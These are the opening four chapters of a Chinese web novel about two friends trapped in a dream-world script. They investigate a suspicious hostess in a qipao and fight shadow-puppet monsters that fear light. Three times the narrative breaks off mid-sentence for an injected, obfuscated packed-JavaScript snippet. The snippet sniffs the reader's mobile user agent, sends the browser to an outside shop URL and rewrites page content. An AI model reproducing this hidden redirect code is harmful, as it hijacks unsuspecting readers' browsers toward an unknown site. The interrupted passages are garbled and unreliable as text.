《植物人出院》 1. 第 1 章 “你醒啦,绝育手术很成功。” “?” 钟白青脑瓜子还在嗡嗡作响,睁眼对上的是叶翛熟悉的奸笑。 “烂梗大王,你怎么在我家。”而且穿的还是恐龙睡衣? 钟白青脑子还有点卡壳,睁眼前的记忆停留在自家三花挺着15斤的身躯,学蜜袋鼬飞跃冲向她的脑袋。猫爪扒住头的一瞬间,她就失去了意识。 太恐怖了,明天起就给咪减肥! 耳边传来叶翛的叹气声:“白青啊,这里不是你家,我们可能遭遇超自然事件了。” “我被神不知鬼不觉运到一艘船上,还能解释成人为绑架。” “但刚才我眼睁睁看着你,凭空出现!” “白青啊,你觉得咱还有救吗,我明天还要上班,我想救救全勤奖……” 钟白青用力闭上眼,这社畜味……没谁了。而且她们居然是在船上吗,难怪感觉全世界都在晃。 吓死了,还以为是地震了,原来是到灵异船上了? 钟白青环顾四周,这里看着像是客舱,复古的木质装修,房间两边各摆放着一张床,床头柜上放着一盏台灯。 此时昏黄的灯光从灯罩下透出,倒映出她俩的影子,随着船身的摇晃而小幅度摇摆。 看样子是在航行途中,只是不知道是在哪片水域。 钟白青:“这艘船上只有我们两个吗?” 叶翛蹦跶到钟白青身边,抱住她的胳膊:“不是哦,除了我们,还有五个人。” “四个人和我们一样,也穿着睡衣,也很茫然,估计他们也不知道现在什么情况。” “第五个是个很奇怪的女人,穿的是一件旗袍,还说了很怪的话。” “她说一共有六个新人,还差一个,让我们再等等。” 叶翛说着,惊魂未定似的拍拍胸口:“然后你就给我表演了个大变活人,差点没给我吓死。” 钟白青无语,见面第一句就是烂梗,真没看出她害怕。 钟白青双手插兜,刚想说什么,手指触碰到一件熟悉的东西,掏出口袋一看,是她前天在户外用品店买的军工刀。 她下意识拔刀出鞘,暖黄灯光经过刀身折射,掠过她的眼睛。 是很锋利的一把刀。 叶翛见状,不着痕迹远离了钟白青几步,声音染上警惕:“白青?” 注意到叶翛的动作,钟白青把刀收回刀鞘:“前天刚买的,顺手放在口袋里,估计是一起被带过来了。” “这样啊,你运气真好,我来这没给配武器,嘿嘿。”叶翛小心挪着步子重新靠近,“我就靠你保护啦。” 钟白青点点头,把军工刀重新放回口袋,观察了一下身处的环境。 这艘船的装修很精致,又是复古木质风格,很像江南古镇里的观光船。 而且叶翛说有个人穿着旗袍,可能出于某种未知原因,她们跑到江南古镇来了? 信息量太少,钟白青刚想再问点什么,客舱门突然被人推开。 内外昏黄灯光交织,照在门外穿浅绿色旗袍的女人身上。 恍惚间,钟白青以为自己误入了民国剧片场。 逆光下,钟白青看不清女人的表情,但女人周身散发着一股若有若无的冷肃气场,让她下意识紧张起来。 随后钟白青迅速把叶翛拽到身后,手伸进口袋握紧刀柄,盯紧女人的每一个动作。 但女人的手始终搭在门把上,并没有多余的动作。 她目光微动,视线落在钟白青脸上,停留几秒后,似乎是想证明自己并无恶意,又收回目光,并后退一步。 “人齐了,你们目前没有危险,先出来吧。外面还有另外四个新人,具体情况我一次性给你们说明。” 旗袍女人说完便虚掩上门,脚步声渐远。 看样子是她多心了。 但那个旗袍女人还是很别扭,人的气场和服装严重不合,怪异程度高到,钟白青大脑控制不住地拉响警报。 …… 钟白青在客舱内翻箱倒柜了一番,确定没有其它能防身的物品,也没有摄像头或夹层后,决定还是先出去探探情况。 这艘船不大,出了客舱就是公共舱室,墙壁上嵌着壁灯,比客舱里亮堂不少。 此时旗袍女人坐在饮料区,正端着一杯红酒细品。远远听到动静,只抬头望了钟白青一眼,又继续沉浸式品酒。 饮料区靠窗的位置坐着一个男生,面朝窗外,但外面漆黑一片,没风景可看。 还有一男一女窝在休息区的长沙发上,女生缩在男生怀里,俩人略显红肿的眼皮正在打架。 他俩边上的单人沙发瘫着另一个男生,大抵是真困了,这种时候还睡得着觉。 钟白青就近挑了个沙发坐下,默不作声静观其变。 空气彻底安静,旗袍女人放下酒杯。她朝外看了一眼,此时不远处已有隐隐绰绰的灯光,看来是要靠岸了。 旗袍女人开口道:“长话短说,我们现在身处别人的梦中,这个梦的主人安排了剧本,我们都是被迫拉进她梦里的演员。” “我比你们早到一天,扮演的角色是钟家夫人的好友。你们的角色是留洋归来的医学生,是来给钟夫人看病的。根据剧本安排,我今天来接你们入住钟府。” “只有在剧本结束前找到梦境主人才能离开这里,中途死亡或剧本结束前没能找到祂,将化为梦境的养料,永远无法在现实中醒来。” 没人率先开口打破沉默。 饮料区男生单手撑头,另一只手摩梭着红酒开瓶器的金属尖端。 瘫沙发上的男生醒了,但依旧保持葛优瘫姿势没动。 情侣稍微清醒了点,眼睛睁大了些。 全都好谨慎啊,钟白青定了定心神。 永远无法在现实中醒来?她想起了自家诊疗院躺着的那群植物人,别是有什么关联吧…… 没多做联想,钟白青提出质疑:“你怎么证明你说的是真的?我们凭什么信你?” 旗袍女人笑了一下,指向窗外漆黑的海水:“我不需要证明啊,你也可以不信,不然……你现在跳个海试试?” 钟白青语塞,没想到怎么反驳,只好回归原话题:“那我们接下来要做什么?” 旗袍女人摇头:“不知道哦,我们能做的只有代入角色,然后等待剧情推进。” 逆天草台班子,钟白青在心里暗戳戳吐槽。 饮料区男生突然开口:“死亡条件是什么?还有,怎么判断剧本多久结束?” 旗袍女人听到这个问题好像很开心,莫名笑起来:“随时可能死哦,至于多久 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17407481|200599||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 结束……等故事推进到尾声,自然就快结束了。” 钟白青无语,有效信息为0,而且这人笑起来更不像好人了! “行吧,你早到一天,身份还是钟夫人的朋友,那你应该知道她生了什么病吧,为什么需要找六个医生看?” 旗袍女人:“我猜测是抑郁症,她刚发现丈夫出轨,接着又被小三害得流产,现在每天都呆在房间里不出来,我也只见过她一面。” ?好土的剧本。 钟白青又问:“那你觉得梦境主人会是钟夫人吗?” 旗袍女人摇头:“目前还没法确定,不过每个梦境主人都会亲自参演祂写的剧本,我们根据剧情推测即可。” 钟白青了然,这样就好推理了。 如果剧情发展走势是报复渣男小三这样的爽文,那梦境主人大概率就是钟夫人。 如果剧情发展是小三上位,梦境主人大概率就是小三。 如果最后是渣男事业有成美女入怀……啊,不想不想,太恶心了。 钟白青止住思绪,还是走一步看一步吧。 …… 窗外光影变化,零碎的灯光闪过视野,钟白青这才注意到,船居然没有在码头靠岸,而是顺着河道直接进了城。 进城后船就减了速,顺着水道晃晃悠悠往城里荡。白墙黛瓦的江南小楼立于两侧,檐下的灯只留了几盏,照不清全貌。 今夜的天幕漆黑如墨,没有月光,两侧望不到头的江南小楼在寂静的夜色中莫名有一丝瘆人。 船最后停在一条胡同前,几人跟着旗袍女人下了船,进入胡同走了大约二十米,最后停在《钟府》牌匾下。 旗袍女人推开古老的大门:“走吧,我带你们去住的地方。” 院子正中是一栋五层高的小洋楼,整栋楼没有一丝灯光。 旗袍女人领着几人绕到后面的二层小楼:“所有房间都打扫好了,你们随意选一间休息吧。” “对了,衣柜里准备了‘戏服’,明天记得换上。”说着旗袍女人指了指自己的绿色旗袍,“要符合人设。” “我叫秦旭,住对面那栋楼顶层。已经很晚了,我也去休息了,明天见。” 秦旭离开后,小情侣一言不发进入右侧第二间房,葛优瘫男生则进入左侧第二间房,两扇房门几乎同时合上。 刚准备挑房间,饮料区男生突然开口:“你们好,我叫邵空青。我看你们只有两个女生,可能不太安全。如果遇到危险可以大声叫我,我会出来帮忙。” 钟白青微怔,随后和叶翛分别介绍了自己的名字。 互相点头示意后,邵空青进入左侧靠大门第一间房,钟白青则拉着叶翛进入右侧第一间房。 下船前她看到了,邵空青顺手把红酒开瓶器装进口袋。 谁知道他有没有藏更多危险物品,不能轻信任何一个人。 …… 这边二层小楼彻底安静下来后,对楼第五层正中的一间房亮起灯光,身穿旗袍的女性影子在窗前站定。 是秦旭,她正静静注视着六人居住的小楼。 但她看不到,两秒后,她的隔壁也亮起昏黄烛光。 长发长裙的女人手中托着蜡烛,烛光将她的侧影映在窗上。 面朝秦旭,像是能直接透过墙壁,观察她。 2. 第 2 章 进房间后,钟叶二人一起进行了简单的检查。 房间很复古,但带了现代化的独卫。角落摆着大衣柜,里面放着几件民国学生装和白大褂,以及几条普通的被褥。 没发现任何异常。 由于只有一张床,叶翛从柜子里掏出另一条被子,打着哈欠靠里侧躺下:“真奇怪,好困啊,你说在梦里睡觉算不算梦中梦?白青我先睡咯,给你留了一条被子。” 钟白青应了一声,再次确认门栓牢固后,关上灯准备休息。 室内失去光源后,窗外的一丁点光亮也会变得尤为突出。 余光捕捉到昏黄的光线,钟白青下意识抬头看向窗外,入眼的画面正是立于窗前看她们的秦旭,以及举着蜡烛看秦旭的女人。 钟白青脑子嗡的一声,几秒后迅速冷静下来。心里估算着对面的视觉死角,顺着死角缓慢靠近窗边,然后迅速拉上窗帘,只留下一条可供从内向外观察的缝。 草,就知道这个秦旭不对劲。 但钟白青已经没精力管那么多了,在船上晃晃悠悠半天,她有点晕船。 简单收拾后,侧身在床上躺下,军工刀压在身下的口袋后便沉沉睡去。 …… 翌日天刚蒙蒙亮,钟白青和叶翛几乎同时睁眼。 钟白青看着衣柜里的几套衣服,回想起昨晚睡前的异常,犹豫了一下,还是掏出两套学生装:“翛翛咱穿这个。” 叶翛麻溜接过衣服:“好嘞,但是白青,咱人设不是医生吗。” “白大褂没配工作证,而且秦旭说我们是留洋回来的医学生,不是医生。所以我们很可能只是刚毕业的学生,穿学生装更符合人设。” 叶翛听完一脸白青你好棒,动作迅速开始洗漱换衣服。 六人几乎是同时打开房门的。 奇怪的是,原本住在第二间房的葛优瘫男生和邵空青一起出现在第一间房门口,他俩穿的也是学生装,只有那对情侣穿着白大褂。 那对情侣明显动作一顿,目光扫过四人,随后迅速关上门。再出来时,已然换上学生装。 秦旭到的时候明显愣了一下:“走吧,我先带你们去餐厅吃饭。” “你们今天去医院认证身份,明天再给钟夫人看病。” “今天没有我的戏份,我准备出去找找线索,你们如果有多余的时间也可以和我一起。” 语毕,秦旭便领着六人往餐厅方向去,路上没再提其它事情。 钟白青摩挲着口袋里的军工刀,脑中思绪不断。 两套衣服果然是个坑,没去医院认证身份前,如果穿上白大褂一定会被判定为脱离人设。 秦旭昨晚没点明这个问题,大概是刻意挖了坑等他们跳。 可惜没法知道如果脱离人设会发生什么了。 …… 早餐种类很丰盛,还冒着热腾腾的锅气,米饭甚至有一股柴火木桶煮出来的香味。 秦旭第一个拿起筷子,其余人才跟上。但都没什么心情,只草草吃了几口。 见众人停了筷子,秦旭主动开口:“走吧,我叫了黄包车送你们去医院。” 钟白青没动,她不想被秦旭节奏带着走,大脑飞速运转,思考怎么脱离安排行动。 秦旭的手却突然搭上她的肩:“你怎么……不动啊?” 感觉到肩膀上一沉,钟白青眼前一黑,视野恢复时,居然置身于一片火海。 她和叶翛被一群黑影团团围住,她拉着叶翛想往外逃,黑影却步步紧逼。 鼻尖嗅到浓烈的焦糊味,火苗舔上皮肤,她的汗珠落在火焰里,滋的一声,蒸发成一缕白雾。 卧槽这就要死了? 钟白青浑身一震,猛地站起身,眼前景象又突然回到餐桌前。全身上下完好无损,刚才的火海仿佛只是幻觉,但皮肤上还隐隐留有灼烧感。 想起先前秦旭诡异地搭上她肩膀,钟白青拉着叶翛远离了几步。 看来是威胁她,不让她脱离安排行动了。 叶翛疑惑问:“怎么了?” 钟白青勉强笑着摇摇头:“没什么,走吧。” 其他人见钟白青发了几秒呆后,突然变得脸色古怪,猜测她有特殊发现。几经思索后,跟她一起坐上秦旭安排的黄包车。 …… 钟家大宅距离医院不算远,很快就到了。 医院大门口早有人等候,迅速给六人各发一张工牌:“你们算特殊聘请人员,不用每天来医院。如果有事我会托秦旭小姐转告你们。” 情侣中的女生询问:“我们在钟宅等消息就可以吗?” 工作人员点头:“可以的,只要秦旭小姐随时能联系上你们即可。” 得到肯定答复后,情侣女生扭头问钟白青几人:“早上的情况你们也看到了,保险起见我和我男朋友今天就不乱跑了,你们呢,要一起回去吗?” “不了。”钟白青答完,接着问,“镇上有什么地方是禁止进入的吗?” “没有,但天黑后不要去没灯光的地方。” 所以白天是畅通无阻了,秦旭如果埋了坑,大概就是没告诉他们天黑前得回钟宅。 邵空青:“我去外面找找线索吧。”。 “我也去。”是那个葛优瘫男生,他看向钟白青叶翛二人,“你俩呢,去吗。” 钟白青点头,叶翛见她同意也跟着点头。 葛优瘫男生:“ok啊,我叫华元,你们呢?” 几人又做了一次自我介绍,期间情侣已先行离开。 四人一起走出医院,邵空青不着痕迹四下观察一番,确认没人注意到他们后,抬手露出手腕上的表。 “这是卫星手表,昨晚上船后就没信号了。我原本怀疑这是场真人秀,但目前看来应该不是。” “而且昨晚你们也看到了吧,秦旭和她隔壁那个女人。” 叶翛疑惑:“什么隔壁的女人?” 钟白青在叶翛震惊的目光中,给她简单描述了一下昨晚的境况。 “怎么说,现在是分头行动还是一起?”钟白青虽然是在询问意见,但心里已经盘算着怎么找借口分开了。 邵空青:“分两组吧,两个人好互相照应。”顿了一下,他又说,“你们注意安全,记得天黑前回钟宅。” 没人提出异议,钟白青随便选了一个方向,朝邵空青点了点头便转身离开。 …… 这个镇子的装修很不走心。 路边立着雪白金属皮的现代大路灯,但房屋用的是饱经风霜的灰黄土墙,店铺内家具也全是很有年代感的木制品。 往来行人也都穿着灰扑扑的民国服装,这就导致路灯的雪白金属外皮更加突兀。 因为没钱,她们没法再打一辆黄包车。 二人试图寻找小镇边缘,但这小镇面积不小,走了一上午也没看到边缘地界。 正午时分,叶翛摸着肚子停下脚步,哭丧着脸:“我好饿啊。” 钟白青也感觉饿了,张望一番,指了指对面:“那就有一家饭店,我们去看看。” 然而她们没吃上饭。 叶翛面色焦急,跟伙计拼命解释:“钟府的秦旭你们认识吗?给我们赊一次账呗,晚点我们找秦旭来结账。” 伙计语气很无奈:“这位客人,不是我们不给赊账,实在是上面有交代,近期不能营业。” 叶翛:“可你们不是开着店吗?不营业为什么不关门?” 伙计:“我也不知道啊,我只是个伙计。” 叶翛皱着鼻子还想说什么,钟白青突然拉住她。 一个肥头大耳的厨师从后厨走出,手握菜刀,正往她们方向走来,远远的,钟白青仿佛能闻到一股腥味。 厨师脸上缓缓挤出一个狞笑,横肉堆在一起:“客人想吃饭?来后厨啊, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17407482|200599||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我给你们开小灶。” 叶翛梗住脖子,她突然觉得也没这么饿了。 钟白青拽着叶翛缓缓退后,右手握紧口袋里的刀柄。 要硬刚吗?不了吧,走为上计。 对面这吨位,多半是力量型选手,大概率速度是弱项。 钟白青:“不麻烦您了,我们这就走。” 她估算着和厨师之间的距离,直到距离足够远,便迅速拉起叶翛的胳膊转身就跑。 厨师见两人要跑,立马追上去,肥胖的身躯带着地面都震动起来。 叶翛这会是真后悔跟伙计扯这么多了,不就是挨饿吗,饿一顿能怎样? 伙计却突然开口:“别追了,不怕上面把你销毁了?” 地面震动停止,钟白青借机回头看了一眼。只见厨师恶狠狠盯着她们,眼神透着不甘,却还是转身走回店内。 钟白青:“没追了。” 叶翛松了一口气,停下飞奔的步伐:“吓死我了,我以为这就要死了。” 钟白青心中一动,想起早上的幻象,简单给叶翛讲了一下:“我们之后要小心一点。” 叶翛震惊:“卧槽秦旭有挂?太恐怖了,难怪你早上突然不动了。” “不过那个幻象什么意思,提醒你远离火吗?诶?所以饭店不营业,是上面有防火命令?” 防火? 钟白青忽然想到什么,重新拉起叶翛的胳膊:“走,我们去居民区看看。” 不出所料,居民区没有一家有炊烟,透过窗户能看见的厨房和餐厅也都空无一人。 叶翛有点迷茫:“现在不是饭点吗?这里人吃饭时间不一样?” 钟白青摇头:“如果不一样,早上就不会正点吃早饭。” 她眺望了一眼远方,人来人往的小巷仿佛没有尽头:“有用的线索太少了,而且时间不够了。” “昨晚这些路灯就没开,以防万一,我们得赶紧回钟宅。” …… 钟宅准备好了饭菜。 依旧是那个餐厅,依旧是充满柴火气的饭菜。 叶翛摸着空空的肚子,求救的目光看向钟白青。 “吃吧,没事。”钟白青拉开两张椅子,“要下毒的话,早饭里就下了。” 在两人刚入座的时候,邵空青华元二人也到了。 邵空青最先开口:“秦旭还没回来,那对情侣吃过晚饭也回他们房间了,目前看来,这座宅子里只有我们几个人在活动,你们有什么发现吗?” 钟白青简单地分享了一部分白天的事。 邵空青点点头,突然话锋一转:“对了,早上你是看见什么了吗?方便说吗?” 钟白青:“倒也没什么,我当时不想去医院,就有人用幻象吓了我一下,估计是想威胁我跟着剧本走吧。” 她觉得不一定是秦旭干的,毕竟当时她确实想脱离剧本行动。而且如果秦旭有这本事,没必要把事情整这么迂回。 邵空青若有所思:“这样啊。” “对了,钟小姐,你们昨晚拉窗帘了吗。” “留了一条缝,外面灯光能进房间。”钟白青顿了一下,“叫我名字就行。” 感觉这男的装装的,钟白青暗自腹诽。 邵空青自然是听不到钟白青的腹诽,反而露出一个真心的微笑:“我也一样,刚才我也问过那对情侣了,他们昨晚进房间就直接睡了,没碰窗帘。” 也就是说,昨晚没有人在纯黑的环境下入睡,至少他们六个外来者没有。 钟白青扒拉着饭,沉吟半晌说:“我有两个想法,第一,保险起见,我们今晚睡觉不关灯,坐等明天秦旭带新消息过来。这样虽然很被动,但不用主动冒险。” “第二,目前只有灯光这一个突破口。既然如此,那就主动出击。选一个空房间,等彻底天黑后,小范围造一个没灯光的环境,看看究竟会发生什么。” 3. 第 3 章 “我也要盯吗?” 其他人都同意了钟白青的第二个想法。 那对情侣要求选距离他们最远的房间做实验,说完后又锁上房门,显然不愿意参与。 华元小声嘀咕一句:“俩祖宗度假来的。” 钟白青提议:“要不就二楼楼梯口的房间吧。” 整栋楼的房间布置都一模一样,没有挑挑拣拣的必要,而且如果二楼发生什么意外,在楼梯口既便于他们观察,也方便他们跑路。 邵空青点头同意,率先踏上楼梯。 天已经全黑了,但幸好二楼窗外有灯光透进来,楼梯口墙壁上挂着一根线,影子映在墙上。 邵空青伸手轻轻一拉,“滋”一声,二楼大厅中央亮起一个暖黄色的灯泡。 钟白青手伸进口袋,握住军工刀,一步两个台阶,迅速跟上邵空青。 邵空青回头看了她一眼,略微侧身:“你要进吗?” 钟白青略一思忖,摇头说:“我就站楼梯口,你去拉窗帘吧,如果有情况,我会进去救你的。” “好。”邵空青声音温和,他腿很长,几步就走到窗边,眼神扫过窗外,迅速拉上窗帘。 “怎么样。”钟白青问他。 “没有异常,外面没人。”邵空青的手握上门把手,“关门下楼?” “好。” 等两人关上二楼大厅的灯再下楼时,叶翛和华元正站在楼梯中段等他们。 叶翛笑嘻嘻抱住钟白青胳膊:“你们跑太快了,我寻思着你俩都已经上去了,我和华元就给你们殿后。” 钟白青原本不想跟上去,但是考虑到,万一邵空青身上只有一个红酒开瓶器,遇到危险会很不妙。 这人二话不说,一个人揽了最危险的活,钟白青多少有点不好意思。 邵空青:“现在回房间等吧,你们如果困了可以先睡,我们这边会盯着的。” 华元震惊:“我也要盯吗?” 邵空青微笑:“对。” 华元表情变形:“草,早知道就不跟你组队了。” 邵空青依旧淡淡的:“你现在也可以回去一个人住。” “哈哈,别,盯吧盯吧。” 钟白青没过多客气:“那行,有事敲门叫我。” …… 回房间栓上门,并给窗帘拉到只留一条缝后,钟白青才坐下复盘这一天发生的事。 这个镇子比想象中大,如果硬要找边界,天黑前多半赶不回来。 风格错乱的装修有什么深意?还有饭店伙计说的销毁是什么意思? 以及邵空青和华元,这两人昨晚明显互相不认识,为什么一觉睡醒后,这俩人突然就成熟人了? 叶翛突然打断钟白青的思绪:“白青,你说那俩男的是不是有信息瞒着我们?” 钟白青笑着摊手:“大概吧,无所谓啊,反正我也瞒了他们。” 叶翛跟着笑了起来,笑了会突然又泄气似的靠在钟白青肩上:“唉,我现在有点难受,刚开始我以为睡醒就回家了,醒来后我又以为,也许今天晚上就能回家了……结果呢,现在都还被困在这里。” “要不是亲眼看着你凭空出现,我都想赌一把,直接无脑往这个镇的边缘跑,说不定就能直接跑回家了。” 钟白青拍了拍叶翛的背,安抚道:“我在呢,没事。再等等吧,梦境主人不可能一直晾着我们的。而且我们今天拿到了工牌,也许明天见到钟夫人就能找到破局办法了。” …… 突然。 咿咿呀呀——咚咚锵——嘻、嘻、嘻嘻…… 什么声音? 叶翛也听到了,吓得抓紧钟白青的手:“你、你也听到了吧……” “嘘。” 钟白青握住叶翛的手,高度集中精神。 咚咚锵、咚咚锵、咿呀—— 是唱戏声,声音来源于斜上方……是二楼那个房间! 叶翛显然也意识到了,整个人都紧绷起来。 笃笃笃,门被突然敲响,邵空青微小的声音从门外传来:“钟白青、叶翛,你们还醒着吗?” 钟白青走到门边。笃笃笃,回敲三下门表示回应。 门外邵空青像是松了一口气:“你们注意安全,如果有不对就赶紧跑,我上楼看一眼。” 钟白青一怔,出声阻拦:“别,等我一下。” 说完回身拔出军工刀走向椅子,动作利落地砍下两条椅子腿,在越来越响的唱戏声中,用力地飞速一刀一刀把椅子腿一端削尖,然后递出一条给叶翛。 “翛翛你在这里等我,如果有危险就用这个捅它,相信自己,可以的。还有,如果我有危险,千万别管我,跑。” 叶翛吓得快哭了,想劝钟白青留下,还没出声就被打断。 “没关系啦,别怕,真有危险我也会跑的,只是我必须过去一趟。一来是防止我方折人,二来也是防止对方藏信息。” 看着叶翛忍着害怕用力点头,钟白青才拉开门栓。 门一打开,没了阻隔的唱戏声更清晰地钻进耳朵。 外面大厅亮着灯,门口站着两个人,是邵空青和华元。 华元眼睛都瞪圆了:“卧槽你也去啊!那我能不去了吗?” 钟白青点头答应,迅速理清思路,把椅子腿递给邵空青,说:“华元跟翛翛一起吧,我和邵空青上去看看。” 邵空青明显犹豫了一下,最终还是同意下来:“好。” 华元盯着邵空青手里的椅子腿,撇撇嘴,侧身挤进钟白青房间,在看到叶翛手里的椅子腿后发出一声压抑的小声哀嚎:“不是凭什么啊,我也没武器防身啊。” “那你躲翛翛身后吧。”钟白青有点恶劣地笑笑,“翛翛记得我说的话哦。” 叶翛再一次用力点头后,钟白青关上房门。转头对上邵空青那双一直都很温柔的眼睛,轻咳一声。 这男的眼睛,看狗都深情。 邵空青:“一会我走前面,你跟我后面,要是有什么不对你就……” “放心,我会努力救你的。”钟白青打断他,“但如果救不了就不能怪我了。” 邵空青轻笑:“好。” …… 和上次一样,邵空青在前面开路,抬手拉亮二楼大厅的灯。 紧闭的房门内传出唱戏声,二人对视一眼,邵空青拧开门把手。 咚咚锵——咚咚锵……咦?嘻嘻嘻嘻! 唱戏声戛然而止,转而变为尖锐的笑声。邵空青皱着眉,用力将门推开。 嘻嘻……啊!!! 灯光照进房内,里面唱戏的居然是两个等人高的皮影人! 钟白青脑中闪过白天看到的幻象,难道那些黑影是皮影人? 在灯光照到它们身上前,它们尖叫着往后退回黑暗中。 钟白青和邵空青对视一眼,互相在对方眼里看到震惊。随后邵空青退回钟白青身边,钟白青则握紧口袋里的军工刀。 幸好这鬼东西怕光,也不知道它怕不怕冷兵器。 钟白青凑近邵空青,小声说:“这东西怕光,要不我们把它们抓出来审一下。” “好。” 像是听懂了两人的话,皮影人先是发出一声更加尖锐的尖叫,随后突然又开始笑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17407483|200599||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 嘻嘻嘻嘻嘻。 这反应……钟白青顿觉不妙,迅速一手将刀拔出,另一只手准备着,要拉邵空青跑。 “滋滋、滋……” 头顶的、楼下的,房子外的电灯同时闪烁几下,在钟白青暗叫不好时,所有灯“啪”的一声,全灭了。 “跑!” “啊!” 钟白青拉起邵空青往楼下冲,然后就看到所有房间里都摇摇晃晃走出一个人影。 尖叫声接着一声破窗声后,叶翛和华元打开门冲出来。 钟白青看到叶翛想来救自己,立马制止:“翛翛往外跑!” 那些人影没往外走,集体摇摇晃晃朝钟白青方向靠近。 走近了,确认了,全都是皮影人。 所有皮影人都嘻嘻笑着,抬着手朝他们靠近。钟白青隐约看到皮影手上闪过一层亮光。 “别被皮影的手碰到!” 皮影人脚步逐渐加快,钟白青眼前的是逐渐贴脸的皮影人爪子,上面像抹了一层黑油。 千钧一发之际,钟白青干脆利落地提起军工刀从皮影人头劈到脚。“刺啦”一声,皮影人倒在地上没了动静。 看来冷兵器有用。 每靠近一个皮影人,钟白青就用同样的手法将其劈成两半。 邵空青则背对钟白青,将靠近的皮影人踹远。他尝试过用椅子腿敲皮影人的头,但很显然没法造成任何伤害。 两人配合着将房间里冲出来的皮影全部劈倒后,终于停下来喘了口气。 邵空青:“你好像一点都不怕。” 他的视线多次扫过钟白青手中的军工刀。 “嗯,我看的恐怖小说和电影比较多,阈值高。” 钟白青微微侧头,注意到他的视线,将刀收回口袋。 老看她的刀干嘛,可别是要抢。 “这样啊。”邵空青收回目光,抬头看向依然站在门口,但也松了一口气的叶翛华元二人,“走吧,估计他们被吓得不轻。” 钟白青看着躺了一地的皮影碎片,啧了一声,一脚把挡在路中间的皮影碎片踢开:“行。” 叶翛已经吓哭了,她平时连国产恐怖片都不敢看,扒住钟白青就开始嚎:“呜呜呜这什么鬼东西,吓死我了,为什么有这么大的皮影人,会自己唱戏还会自己走啊。” “哈哈,你别问我,我也不知道。”钟白青笑得很无奈,“可能咱演的是个恐怖片吧。” “不过说起来,这个电停得也太巧了。”钟白青朝外望一眼,原先钟宅院内的灯光也全部熄灭,不知道是单个钟宅停电,还是全镇都停了。 邵空青试探着问:“明天把秦旭抓过来审?”他还记得之前钟白青想把皮影人抓出来审。 “哈,正有此意。” 刚才皮影人明显更针对她,钟白青心情不太好,飙升的肾上腺素还没回落,这种时候只有揍个人玩玩才会心情好一点。 叶翛跟钟白青认识这么多年,听她语气就知道她想干嘛,邵空青的提议明显戳钟白青心坎上了,抬手对邵空青竖起大拇指:“上道啊兄弟!” “姐们先别管上不上道了……”华元的颤音打断几人,“你们回头看看,他大爷的什么情况?” 滋滋啦啦的裁纸声细细碎碎钻进几人耳朵。 只见原先躺在地上被一分为二的皮影人重新站立起来,像有一双无形的手正给它们修边。 原先只剩半边的皮影人,迅速被裁剪出新形状。 更瘦长的,等人高的,双倍数量的新皮影人,重新抬起手,嘻嘻笑着挪动脚步重新朝他们走来。 4. 第 4 章 钟白青冷静分析:“这东西速度慢,我们先出去,拉开距离。” 她抬头看了一眼天空,残月的微弱光芒投射到几人身上。 钟白青:“不确定那东西怕不怕月光,总之不能再给它劈两半了。” 再劈两半,数量就得再翻倍,到时候怕是更要命。 邵空青一会低头看表一会抬头看皮影人,对钟白青摇头道:“不对劲,它们的速度在变快,我们再退远一点,如果它们不怕月光就得想其他办法了。” 眼看细长的皮影人抬手朝自己走来,耳边还充斥着它们嘻嘻的笑声,钟白青头皮都快炸了:“草,要是有火就好了。”一把火全给它烧了。 对,火。 幻象里,她和叶翛也是在火海里。 格格不入的路灯、不营业的饭店、柴火香的饭菜,以及秦旭隔壁,举着蜡烛的女人。 并非防火,而是藏火!火源就在钟夫人的房间里! “我们必须进钟夫人房间,她那里有火!” 邵空青显然也想到了这一点,从口袋里掏出在客船上顺来的红酒开瓶器:“钟白青,试试能不能把皮影人固定在墙上。” 钟白青点头,松开拉着叶翛的手,往皮影人方向走几步,挑了个落单的,试图复刻刚才的手法。 但这次不行了,皮影人变细了本就不容易切开,速度提高后,那双抬起的手更是直直往人脸上冲。 邵空青抡着椅子腿帮钟白青挡开一个偷袭的皮影人,拉起她迅速向后退:“不行,我们两个人手不够,华元!来帮忙!” 华元被他一吼,吓得蹦起来倒退两米:“我没武器啊!” 邵空青将手里的椅子腿扔给他:“厨房那边是土墙,把皮影人往那边引。我想办法把皮影人控到土墙上,你和叶翛一人控一只皮影人的手,钟白青,这次换你守我后背。” 钟白青一怔,点头:“好。” 华元哭丧着脸:“哈哈,邵哥您是真会安排,最危险的手丢给俩弱鸡。” “不然你来引皮影人?” “不了不了,您来您来。” 叶翛嫌弃地用椅子腿捅了华元一下:“出息。” 几人往厨房方向奔跑,幸好皮影人虽然会提速,但速度有快有慢,到厨房时只有3只皮影人紧跟着。 